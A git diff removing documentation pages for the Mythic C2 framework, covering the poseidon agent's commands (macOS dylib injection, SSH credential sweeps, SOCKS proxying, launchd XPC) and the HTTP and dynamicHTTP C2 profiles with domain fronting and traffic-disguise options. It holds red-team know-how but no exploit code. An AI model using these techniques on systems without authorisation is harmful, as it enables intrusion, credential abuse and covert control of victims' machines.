-- Description: Choose the type of key
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-keys
-```
-
-
-## Detailed Summary
-
-This command uses the golang keyctl package to interact with the Linux keyring. Not implemented for macOS
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/kill.md b/documentation-docker/content/Agents/poseidon/commands/kill.md
deleted file mode 100644
index f02124d0c..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/kill.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "kill"
-chapter = false
-weight = 114
-hidden = false
-+++
-
-## Summary
-Kill a process specified by PID.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-kill [pid]
-```
-
-
-## Detailed Summary
-
-Kill a process
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/libinject.md b/documentation-docker/content/Agents/poseidon/commands/libinject.md
deleted file mode 100644
index 77dfdfaf0..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/libinject.md
+++ /dev/null
@@ -1,41 +0,0 @@
-+++
-title = "libinject"
-chapter = false
-weight = 115
-hidden = false
-+++
-
-## Summary
-Inject a library from on-host into a process on macOS.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### pid
-
-- Description: PID of process to inject into.
-- Required Value: True
-- Default Value: None
-
-#### library
-
-- Description: Path to the dylib to inject
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-libinject
-```
-
-## MITRE ATT&CK Mapping
-
-- T1055
-
-## Detailed Summary
-
-This command includes a shellcode stub which forces a process to load a dylib on macOS. The command uses process injection to inject this shellcode stub into a remote process which then loads the dylib specified with the library argument into the target process.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/list_entitlements.md b/documentation-docker/content/Agents/poseidon/commands/list_entitlements.md
deleted file mode 100644
index 37942d4dd..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/list_entitlements.md
+++ /dev/null
@@ -1,34 +0,0 @@
-+++
-title = "list_entitlements"
-chapter = false
-weight = 115
-hidden = false
-+++
-
-## Summary
-List the entitlements, code signatures, and path for processes on the system.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its_a_feature_
-
-### Arguments
-
-#### pid
-
-- Description: PID of process to query (or -1 for all processes).
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-list_entitlements
-```
-
-## MITRE ATT&CK Mapping
-
-
-## Detailed Summary
-
-This command uses the csops syscall to query processes on the system for their code signature information, embedded entitlements, and associated binpaths.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/listtasks.md b/documentation-docker/content/Agents/poseidon/commands/listtasks.md
deleted file mode 100644
index f121151cf..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/listtasks.md
+++ /dev/null
@@ -1,29 +0,0 @@
-+++
-title = "listtasks"
-chapter = false
-weight = 115
-hidden = false
-+++
-
-## Summary
-Obtain a list of processes with obtainable task ports on macOS. This command should be used to determine target processes for the libinject command.
-
-- Needs Admin: True
-- Version: 1
-- Author: @xorrior, @Morpheus______
-
-### Arguments
-
-## Usage
-
-```
-listtasks
-```
-
-## MITRE ATT&CK Mapping
-
-- T1057
-
-## Detailed Summary
-
-This command uses the `processor_set_tasks` and `pid_for_task` APIs to enumerate all available process tasks. This command should be used to identify target processes for the libinject command.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/ls.md b/documentation-docker/content/Agents/poseidon/commands/ls.md
deleted file mode 100644
index abaee626c..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/ls.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "ls"
-chapter = false
-weight = 116
-hidden = false
-+++
-
-## Summary
-List directory.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-ls [directory]
-```
-
-## MITRE ATT&CK Mapping
-
-- T1083
-## Detailed Summary
-
-List the contents of a directory
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/mkdir.md b/documentation-docker/content/Agents/poseidon/commands/mkdir.md
deleted file mode 100644
index 58e1bf6fc..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/mkdir.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "mkdir"
-chapter = false
-weight = 117
-hidden = false
-+++
-
-## Summary
-Create a new directory.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-mkdir [path]
-```
-
-
-## Detailed Summary
-
-Create a new directory
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/mv.md b/documentation-docker/content/Agents/poseidon/commands/mv.md
deleted file mode 100644
index f1b8dc039..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/mv.md
+++ /dev/null
@@ -1,39 +0,0 @@
-+++
-title = "mv"
-chapter = false
-weight = 118
-hidden = false
-+++
-
-## Summary
-Move a file from one location to another.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### source
-
-- Description: Source file to move.
-- Required Value: True
-- Default Value: None
-
-#### destination
-
-- Description: Source will move to this location
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-mv
-```
-
-
-## Detailed Summary
-
-Move a file
diff --git a/documentation-docker/content/Agents/poseidon/commands/portscan.md b/documentation-docker/content/Agents/poseidon/commands/portscan.md
deleted file mode 100644
index ac13351b6..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/portscan.md
+++ /dev/null
@@ -1,40 +0,0 @@
-+++
-title = "portscan"
-chapter = false
-weight = 119
-hidden = false
-+++
-
-## Summary
-Scan host(s) for open ports.
-
-- Needs Admin: False
-- Version: 1
-- Author: @djhohnstein
-
-### Arguments
-
-#### ports
-
-- Description: List of ports to scan. Can use the dash separator to specify a range.
-- Required Value: True
-- Default Value: None
-
-#### hosts
-
-- Description: List of hosts to scan
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-portscan
-```
-
-## MITRE ATT&CK Mapping
-
-- T1046
-## Detailed Summary
-
-Scan a single or range of hosts for the ports specified with the ports argument. This command can be killed with `jobkill uuid`
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/ps.md b/documentation-docker/content/Agents/poseidon/commands/ps.md
deleted file mode 100644
index 9a3c7b2bb..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/ps.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "ps"
-chapter = false
-weight = 120
-hidden = false
-+++
-
-## Summary
-Get a process listing.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-ps
-```
-
-## MITRE ATT&CK Mapping
-
-- T1057
-## Detailed Summary
-
-Obtain a list of running processes
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/pwd.md b/documentation-docker/content/Agents/poseidon/commands/pwd.md
deleted file mode 100644
index d077a63c2..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/pwd.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "pwd"
-chapter = false
-weight = 121
-hidden = false
-+++
-
-## Summary
-Print the working directory.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-pwd
-```
-
-
-## Detailed Summary
-
-Print the working directory
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/rm.md b/documentation-docker/content/Agents/poseidon/commands/rm.md
deleted file mode 100644
index 628a6bfe9..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/rm.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "rm"
-chapter = false
-weight = 122
-hidden = false
-+++
-
-## Summary
-Delete a file.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-rm [path]
-```
-
-
-## Detailed Summary
-
-Remove a file
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/screencapture.md b/documentation-docker/content/Agents/poseidon/commands/screencapture.md
deleted file mode 100644
index d104b76ca..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/screencapture.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "screencapture"
-chapter = false
-weight = 123
-hidden = false
-+++
-
-## Summary
-Capture a screenshot of the targets desktop (not implemented on Linux).
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-screencapture
-```
-
-## MITRE ATT&CK Mapping
-
-- T1113
-## Detailed Summary
-
-This command uses the `CGDisplayCreateImageForRect` API function to obtain an image of the currently logged users desktop.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/setenv.md b/documentation-docker/content/Agents/poseidon/commands/setenv.md
deleted file mode 100644
index 97eab06cd..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/setenv.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "setenv"
-chapter = false
-weight = 124
-hidden = false
-+++
-
-## Summary
-Sets an environment variable to your choosing.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-setenv [param] [value]
-```
-
-
-## Detailed Summary
-
-This command uses the golang `os.setenv` function to set an environment variable
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/shell.md b/documentation-docker/content/Agents/poseidon/commands/shell.md
deleted file mode 100644
index 42010ea06..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/shell.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "shell"
-chapter = false
-weight = 125
-hidden = false
-+++
-
-## Summary
-Execute a shell command with 'bash -c'.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-shell [command]
-```
-
-## MITRE ATT&CK Mapping
-
-- T1059
-## Detailed Summary
-
-Execute a shell command
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/sleep.md b/documentation-docker/content/Agents/poseidon/commands/sleep.md
deleted file mode 100644
index b6c94a64d..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/sleep.md
+++ /dev/null
@@ -1,44 +0,0 @@
-+++
-title = "sleep"
-chapter = false
-weight = 126
-hidden = false
-+++
-
-## Summary
-Update the sleep interval and jitter for the agent.
-
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### jitter
-
-- Description: Jitter percentage.
-- Required Value: False
-- Default Value: -1
-
-#### interval
-
-- Description: Sleep time in seconds
-- Required Value: False
-- Default Value: -1
-
-## Usage
-### Without the popup
-```
-sleep 10
-sleep 10 25
-```
-The first example sets only the sleep interval and leaves the jitter percentage the same. The second option sets both the sleep interval and jitter percentage. If a value is left as -1, then it won't be updated. So, to update _just_ the jitter percentage, you could run:
-```
-sleep -1 50
-```
-
-
-## Detailed Summary
-
-Change the agents sleep interval.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/socks.md b/documentation-docker/content/Agents/poseidon/commands/socks.md
deleted file mode 100644
index 1c0f7f8e5..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/socks.md
+++ /dev/null
@@ -1,37 +0,0 @@
-+++
-title = "socks"
-chapter = false
-weight = 127
-hidden = false
-+++
-
-## Summary
-start or stop socks.
-
-- Needs Admin: False
-- Version: 1
-- Author: @its-a-feature
-
-### Arguments
-
-#### action
-
-- Description: Start or Stop socks through this callback.
-- Required Value: True
-- Default Value: None
-
-#### port
-
-- Description: Port number on Mythic server to open for socksv5
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-socks
-```
-
-
-## Detailed Summary
-Start or stop the socks5 proxy. This opens the specified port and port+1 on the server running Mythic. The `port+1` is a local port only used by Mythic for forwarding traffic through the C2 channel.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/sshauth.md b/documentation-docker/content/Agents/poseidon/commands/sshauth.md
deleted file mode 100644
index 30d4da0b3..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/sshauth.md
+++ /dev/null
@@ -1,75 +0,0 @@
-+++
-title = "sshauth"
-chapter = false
-weight = 128
-hidden = false
-+++
-
-## Summary
-SSH to specified host(s) using the designated credentials. You can also use this to execute a specific command on the remote hosts via SSH or use it to SCP files.
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### username
-
-- Description: Authenticate to the designated hosts using this username.
-- Required Value: True
-- Default Value: None
-
-#### source
-
-- Description: If doing SCP, this is the source file
-- Required Value: False
-- Default Value:
-
-#### destination
-
-- Description: If doing SCP, this is the destination file
-- Required Value: False
-- Default Value:
-
-#### private_key
-
-- Description: Authenticate to the designated hosts using this private key
-- Required Value: False
-- Default Value: None
-
-#### port
-
-- Description: SSH Port if different than 22
-- Required Value: True
-- Default Value: 22
-
-#### password
-
-- Description: Authenticate to the designated hosts using this password
-- Required Value: False
-- Default Value:
-
-#### hosts
-
-- Description: Hosts that you will auth to
-- Required Value: True
-- Default Value: None
-
-#### command
-
-- Description: Command to execute on remote systems if not doing SCP
-- Required Value: False
-- Default Value:
-
-## Usage
-
-```
-sshauth
-```
-
-## MITRE ATT&CK Mapping
-
-- T1110
-## Detailed Summary
-
-Perform an SSH authentication sweep against a range of hosts and optionally provide a password or private key
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/triagedirectory.md b/documentation-docker/content/Agents/poseidon/commands/triagedirectory.md
deleted file mode 100644
index f68ac2570..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/triagedirectory.md
+++ /dev/null
@@ -1,28 +0,0 @@
-+++
-title = "triagedirectory"
-chapter = false
-weight = 129
-hidden = false
-+++
-
-## Summary
-Find interesting files within a directory on a host.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-triagedirectory
-```
-
-## MITRE ATT&CK Mapping
-
-- T1083
-## Detailed Summary
-
-Enumerate all files in a target directory. This command will sort the results by file type.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/unsetenv.md b/documentation-docker/content/Agents/poseidon/commands/unsetenv.md
deleted file mode 100644
index 954f97123..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/unsetenv.md
+++ /dev/null
@@ -1,26 +0,0 @@
-+++
-title = "unsetenv"
-chapter = false
-weight = 130
-hidden = false
-+++
-
-## Summary
-Unset an environment variable.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-## Usage
-
-```
-unsetenv [param]
-```
-
-
-## Detailed Summary
-
-Unset an environment variable
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/upload.md b/documentation-docker/content/Agents/poseidon/commands/upload.md
deleted file mode 100644
index f539dfbbc..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/upload.md
+++ /dev/null
@@ -1,38 +0,0 @@
-+++
-title = "upload"
-chapter = false
-weight = 131
-hidden = false
-+++
-
-## Summary
-upload a file to the target.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior
-
-### Arguments
-
-#### remote_path
-
-- Description: Remote file path.
-- Required Value: True
-- Default Value: None
-
-#### file_id
-
-- Description: Select the file to upload
-- Required Value: True
-- Default Value: None
-
-## Usage
-
-```
-upload {file_id: 0, remote_path: /path/to/remote/file}
-```
-
-
-## Detailed Summary
-
-Upload a file to the remote system
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/commands/xpc.md b/documentation-docker/content/Agents/poseidon/commands/xpc.md
deleted file mode 100644
index 66f2057d4..000000000
--- a/documentation-docker/content/Agents/poseidon/commands/xpc.md
+++ /dev/null
@@ -1,78 +0,0 @@
-+++
-title = "xpc"
-chapter = false
-weight = 132
-hidden = false
-+++
-
-## Summary
-Use xpc to execute routines with launchd or communicate with another service/process.
-
-- Needs Admin: False
-- Version: 1
-- Author: @xorrior, @Morpheus______
-
-### Arguments
-
-#### command
-
-- Description: Choose an XPC command.
-- Required Value: True
-- Default Value: None
-
-#### program
-
-- Description: Program/binary to execute if using 'submit' command
-- Required Value: False
-- Default Value: None
-
-#### file
-
-- Description: Path to the plist file if using load/unload commands
-- Required Value: False
-- Default Value: None
-
-#### servicename
-
-- Description: Name of the service to communicate with. Used with the submit, send, start/stop commands
-- Required Value: False
-- Default Value: None
-
-#### keepalive
-
-- Description: KeepAlive boolean
-- Required Value: False
-- Default Value: None
-
-#### pid
-
-- Description: PID of the process
-- Required Value: False
-- Default Value: None
-
-#### data
-
-- Description: base64 encoded json data to send to a target service
-- Required Value: False
-- Default Value: None
-
-## Usage
-
-```
-xpc
-```
-
-
-## Detailed Summary
-
-This command uses the `xpc_pipe_routine` function to send XPC messages to `launchd` for the following commands:
-
-1. list -> use the ROUTINE_LIST routine to list registered services
-2. start -> use the ROUTINE_START routine to start a registered service
-3. stop -> use the ROUTINE_STOP routine to stop a registered service
-4. load -> use the ROUTINE_LOAD routine to load a daemon property list file
-5. unload -> use the ROUTINE_UNLOAD routine to unload a daemon property list file
-6. status -> use the ROUTINE_STATUS routine to print status information about a given service
-7. procinfo -> use the ROUTINE_DUMP_PROCESS routine to print information about the execution context of a given PID.
-8. send -> send an XPC message to the specified service endpoint.
-9. submit -> use the ROUTINE_SUBMIT routine to submit a program for launchd to execute
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/development.md b/documentation-docker/content/Agents/poseidon/development.md
deleted file mode 100644
index 2d18e9d66..000000000
--- a/documentation-docker/content/Agents/poseidon/development.md
+++ /dev/null
@@ -1,45 +0,0 @@
-+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-For command development, please use golang v1.12+ .
-
-## Adding Commands
-
-- Create a new folder with the name of the command in `Payload_Types/poseidon/agent_code/[COMMAND]`.
-- Inside the folder create a single go file called `command.go`. If the implementation of the command is compatible with both macOS and Linux, only a single go file should be necessary. If the implementation is different, create two additional files. All files that are for the darwin/macOS implementation should have the nomenclature `command_darwin.go` and `command_linux.go` for Linux. There are a minimum set of imports that are required for any command.
-```
-import (
- "pkg/utils/structs"
- "pkg/profiles"
- "encoding/json"
- "sync"
-)
-```
-- The results/output for a command should be saved to a `Response` struct. The struct should be serialized to bytes with `json.Marshal` and then saved to the `profiles.TaskResponses` global variable. Please refer to the cat command in `Payload_Types/poseidon/agent_code/cat/cat.go` as an example.
-
-
-## Adding C2 Profiles
-
-- Where code for editing/adding c2 profiles is located
-- Add C2 profile code to the `Payload_Types/poseidon/c2_profiles/` folder.
-- Your C2 profile should conform to the Profile interface defined in `Payload_Types/poseidon/agent_code/pkg/profiles/profile.go`
-- Create a struct to hold C2 configuration in `Payload_Types/poseidon/agent_code/pkg/utils/structs/definitions.go`
-Example config
-```
-type Defaultconfig struct {
- KEYX string `json:"keyx"`
- Key string `json:"key"`
- BaseURL string `json:"baseurl"`
- UserAgent string `json:"useragent"`
- Sleep int `json:"sleep"`
- HostHeader string `json:"hostheader"`
- Jitter int `json:"jitter"`
-}
-```
-
diff --git a/documentation-docker/content/Agents/poseidon/opsec.md b/documentation-docker/content/Agents/poseidon/opsec.md
deleted file mode 100644
index f07388c18..000000000
--- a/documentation-docker/content/Agents/poseidon/opsec.md
+++ /dev/null
@@ -1,12 +0,0 @@
-+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-### Post-Exploitation Jobs
-All poseidon commands execute in the context of a go routine or thread. These routines cannot be stopped onced started.
-
-### Remote Process Injection
-The libinject command will use the `process_set_tasks` function to get a task port (handle) of the target process. The shellcode payload used will load a specified dylib from disk into the target process.
\ No newline at end of file
diff --git a/documentation-docker/content/Agents/poseidon/poseidon.svg b/documentation-docker/content/Agents/poseidon/poseidon.svg
deleted file mode 100644
index 3bc4ec743..000000000
--- a/documentation-docker/content/Agents/poseidon/poseidon.svg
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/documentation-docker/content/C2 Profiles/HTTP/_index.md b/documentation-docker/content/C2 Profiles/HTTP/_index.md
deleted file mode 100644
index b8d70711c..000000000
--- a/documentation-docker/content/C2 Profiles/HTTP/_index.md
+++ /dev/null
@@ -1,121 +0,0 @@
-+++
-title = "HTTP"
-chapter = false
-weight = 5
-+++
-
-## Overview
-This C2 profile consists of HTTP requests from an agent to the C2 profile container, where messages are then forwarded to Mythic's API. The C2 Profile container acts as a proxy between agents and the Mythic server itself.
-
-The Profile is not proxy aware by default - this is a component left as an exercise for the individual agents.
-### C2 Workflow
-{{}}
-sequenceDiagram
- participant M as Mythic
- participant H as HTTP Container
- participant A as Agent
- A ->>+ H: GET/POST for tasking
- H ->>+ M: forward request to Mythic
- M -->>- H: reply with tasking
- H -->>- A: reply with tasking
-{{< /mermaid >}}
-Legend:
-
-- Solid line is a new connection
-- Dotted line is a message within that connection
-
-## Configuration Options
-The profile reads a `config.json` file for a set of instances of `Sanic` webservers to stand up (`80` by default) and redirects the content.
-
-```JSON
-{
- "instances": [
- {
- "ServerHeaders": {
- "Server": "NetDNA-cache/2.2",
- "Cache-Control": "max-age=0, no-cache",
- "Pragma": "no-cache",
- "Connection": "keep-alive",
- "Content-Type": "application/javascript; charset=utf-8"
- },
- "port": 80,
- "key_path": "",
- "cert_path": "",
- "debug": true
- }
- ]
-}
-```
-
-You can specify the headers that the profile will set on Server responses. If there's an error, the server will return a `404` message based on the `fake.html` file contents in `C2_Profiles/HTTP/c2_code`.
-
-If you want to use SSL within this container specifically, then you can put your key and cert in the `C2_Profiles/HTTP/c2_code` folder and update the `key_path` and `cert_path` variables to have the `names` of those files.
-You should get a notification when the server starts with information about the configuration:
-
-```
-Messages will disappear when this dialog is closed.
-Received Message:
-Started with pid: 16...
-Output: Opening config and starting instances...
-Debugging statements are enabled. This gives more context, but might be a performance hit
-not using SSL for port 80
-[2020-07-29 21:48:26 +0000] [16] [INFO] Goin' Fast @ http://0.0.0.0:80
-```
-
-A note about debugging:
-- With `debug` set to `true`, you'll be able to `view stdout/stderr` from within the UI for the container, but it's not recommended to always have this on (especially if you start using something like SOCKS). There can be a lot of traffic and a lot of debugging information captured here which can be both a performance and memory bottleneck depending on your environment and operational timelines.
-- It's recommended to have it on initially to help troubleshoot payload connectivity and configuration issues, but then to set it to `false` for actual operations
-
-### Profile Options
-#### Base64 of a 32-byte AES Key
-Base64 value of the AES pre-shared key to use for communication with the agent. This will be auto-populated with a random key per payload, but you can also replace this with the base64 of any 32 bytes you want. If you don't want to use encryption here, blank out this value.
-
-#### User Agent
-This is the user-agent string the agent will use when making HTTP requests.
-
-#### Callback Host
-The URL for the redirector or Mythic server. This must include the protocol to use (e.g. `http://` or `https://`)
-
-#### Callback Interval
-A number to indicate how many seconds the agent should wait in between tasking requests.
-
-#### Callback Jitter
-Percentage of jitter effect for callback interval.
-
-#### Callback Port
-Number to specify the port number to callback to. This is split out since you don't _have_ to connect to the normal port (i.e. you could connect to http on port 8080).
-
-#### Host header
-Value for the `Host` header in web requests. This is used with _Domain Fronting_.
-
-#### Kill Date
-Date for the agent to automatically exit, typically the after an assessment is finished.
-
-#### Perform Key Exchange
-T or F for if you want to perform a key exchange with the Mythic Server. When this is true, the agent uses the key specified by the base64 32Byte key to send an initial message to the Mythic server with a newly generated RSA public key. If this is set to `F`, then the agent tries to just use the base64 of the key as a static AES key for encryption. If that key is also blanked out, then the requests will all be in plaintext.
-
-#### Get Request URI
-The URI to use when performing a get request such as `index`. A leading `/` is used automatically to separate this value from the end of the callback host value.
-
-#### Name of the endpoint before the query string
-This is the query parameter name used in Get requests. For example, if this is `q` and the get request URI is `index`, then a request might look like `http://domain.com/index?q=someback64here`.
-
-#### Proxy Host
-If you need to manually specify a proxy endpoint, do that here. This follows the same format as the callback host.
-
-#### Proxy Password
-If you need to authenticate to the proxy endpoint, specify the password here.
-
-#### Proxy Username
-If you need to authenticate to the proxy endpoint, specify the username here.
-
-#### Proxy Port
-If you need to manually specify a proxy endpoint, this is where you specify the associated port number.
-
-## OPSEC
-
-This profile doesn't do any randomization of network components outside of allowing operators to specify internals/jitter. Every GET request for tasking will be the same. This is important to take into consideration for profiling/beaconing analytics.
-
-## Development
-
-All of the code for the server is Python3 using `Sanic` and located in `C2_Profiles/HTTP/c2_code/server`. It loops through the `instances` in the `config.json` file and stands up those individual web servers.
diff --git a/documentation-docker/content/C2 Profiles/_index.md b/documentation-docker/content/C2 Profiles/_index.md
deleted file mode 100644
index e2217b1ca..000000000
--- a/documentation-docker/content/C2 Profiles/_index.md
+++ /dev/null
@@ -1,21 +0,0 @@
-+++
-title = "C2 Profiles"
-chapter = false
-weight = 5
-+++
-
-## C2 Documentation
-
-This site aims to be an in-depth way to reference documentation about specific c2 profiles. Each profile has the following breakdown:
-
-### Overview
-
-This is a high level overview of the c2 profile, interesting features to note about it, authors, and special thanks.
-
-### OPSEC
-
-This is an overview of operational security considerations related to the c2 profile.
-
-### Development
-
-This section goes into the ideal development environment and information about how to add/modify commands and c2 profiles.
diff --git a/documentation-docker/content/C2 Profiles/dynamicHTTP/_index.md b/documentation-docker/content/C2 Profiles/dynamicHTTP/_index.md
deleted file mode 100644
index 4b1da17bb..000000000
--- a/documentation-docker/content/C2 Profiles/dynamicHTTP/_index.md
+++ /dev/null
@@ -1,455 +0,0 @@
-+++
-title = "dynamicHTTP"
-chapter = false
-weight = 5
-+++
-
-## Overview
-This C2 profile consists of HTTP requests from an agent to the C2 profile container, where messages are then forwarded to Mythic's API. The C2 Profile container acts as a proxy between agents and the Mythic server itself.
-
-The Profile is not proxy aware by default - this is a component left as an exercise for the individual agents.
-
-This C2 profile offers extreme customization of the network traffic via a JSON configuration file, including randomized components, custom encoding, and modification of where the agent's message should go (URL, query parameter, cookie, body).
-You can even customize your profile to use _only_ GET messages or _only_ POST messages by leaving the `AgentMessage` section as an empty array (`[]`) for that method.
-
-### C2 Workflow
-{{}}
-sequenceDiagram
- participant M as Mythic
- participant H as dynamicHTTP
- participant A as Agent
- A ->>+ H: GET/POST
- Note over H: Undo Agent Mods
- H ->>+ M: forward request to Mythic
- M -->>- H: reply with data
- Note over H: Make Agent Mods
- H -->>- A: reply with data
-{{< /mermaid >}}
-
-Legend:
-
-- Solid line is a new connection
-- Dotted line is a message within that connection
-
-## Configuration Options
-The profile reads a `config.json` file for a set of instances of `Sanic` webservers to stand up (`443` by default) and redirects the content. There is a very thorough writeup on the profile located with the [public documentation](https://docs.apfell.net/v/version-1.5/c2-profiles/dynamichttp).
-
-There are two pieces to the configuration and they need to match up for everything to go smoothly. The server has an array of `instances` that define how communication happens, including:
-- Where the message is located in the HTTP request
- - this can be the Body, a query parameter, a cookie value, or even in the URL itself
-- What functions need to take place to transform the message value back to the base message that Mythic needs
- - For example, the message could have been split in two, had random values added in, and encoded in a custom way
-- What server headers should be used in the response to the message
-- What port the server should listen on
-- What should happen if a message is received, but doesn't match the above pattern?
- - This allows you to get creative and redirect to other sites, return the content of other sites, read html pages from disk and return them, or send custom error messages
-
-The Agent needs to have a matching set of configuration parameters so that the manipulation of agent messages and HTTP requests is consistent.
-
-If you want to use SSL within this container specifically, then you can put your key and cert in the `C2_Profiles/dynamicHTTP/c2_code` folder and update the `key_path` and `cert_path` variables to have the `names` of those files.
-You should get a notification when the server starts with information about the configuration:
-
-```
-Messages will disappear when this dialog is closed.
-Received Message:
-Started with pid: 15...
-Output: Opening config and starting instances...
-Debugging output is enabled. This might be a performance it, but gives more context
-not using SSL for port 443
-[2020-07-30 16:46:50 +0000] [15] [INFO] Goin' Fast @ http://0.0.0.0:443
-```
-
-A note about debugging:
-- With `debug` set to `true`, you'll be able to `view stdout/stderr` from within the UI for the container, but it's not recommended to always have this on (especially if you start using something like SOCKS). There can be a lot of traffic and a lot of debugging information captured here which can be both a performance and memory bottleneck depending on your environment and operational timelines.
-- It's recommended to have it on initially to help troubleshoot payload connectivity and configuration issues, but then to set it to `false` for actual operations
-
-
-Available functions within the profile:
-- base64
- - base64 encodes the input
-- prepend
- - prepends a string to the input
-- append
- - appends a string to the input
-- random_mixed
- - generates a random mixed string of a certain length from a-zA-Z0-9 and appends it
-- random_number
- - generates a random number of a certain length and appends it
-- random_alpha
- - generates a random string of a certain length from a-zA-Z and appends it
-- choose_random
- - randomly chooses one option from a given array of options and appends it
-
-### Linting
-
-Because there is a lot more to this profile than something like the `HTTP` profile, there is a linting program to help make sure your server and agent configs line up. A linting program is simply a small program that checks for syntax and configuration issues. In `C2_Profiles/dynamicHTTP/c2_code` you'll find the `config_linter.py` file.
-
-To use this, cd into the `C2_Profiles/dynamicHTTP/c2_code` folder. Save a copy of the config you want to supply to your agent (for example: `agent_config.json`). Run `./config_linter.py agent_config.json`. This program will first parse the `config.json` file in the same directory to make sure it matches the server side of a config, then it'll read the `agent_config.json` that you specified to make sure it's formatted correctly, and finally it'll make sure that there's a matching server component for the agent config supplied. An example of this process is shown below:
-
-```Bash
-its-a-feature@ubuntu:~/Desktop/Apfell/C2_Profiles/dynamicHTTP/c2_code$ python3 config_linter.py agent_config.json
-[*] Checking server config for layout structure
-[+] Server config layout structure is good
-[*] Checking agent config for layout structure
-[+] Agent config layout structure is good
-[*] Looking into GET AgentMessages
-[*] Current URLs: ['http://192.168.205.151:9000']
- Current URI: /
-[*] Found 'message' keyword in QueryParameter q
-[*] Now checking server config for matching section
-[*] Found matching URLs and URI, checking rest of AgentMessage
-[+] FOUND MATCH
-[*] Looking into POST AgentMessages
-[*] Current URLs: ['http://192.168.205.151:9000']
- Current URI: /download.php
-[*] Did not find message keyword anywhere, assuming it to be the Body of the message
-[*] Now checking server config for matching section
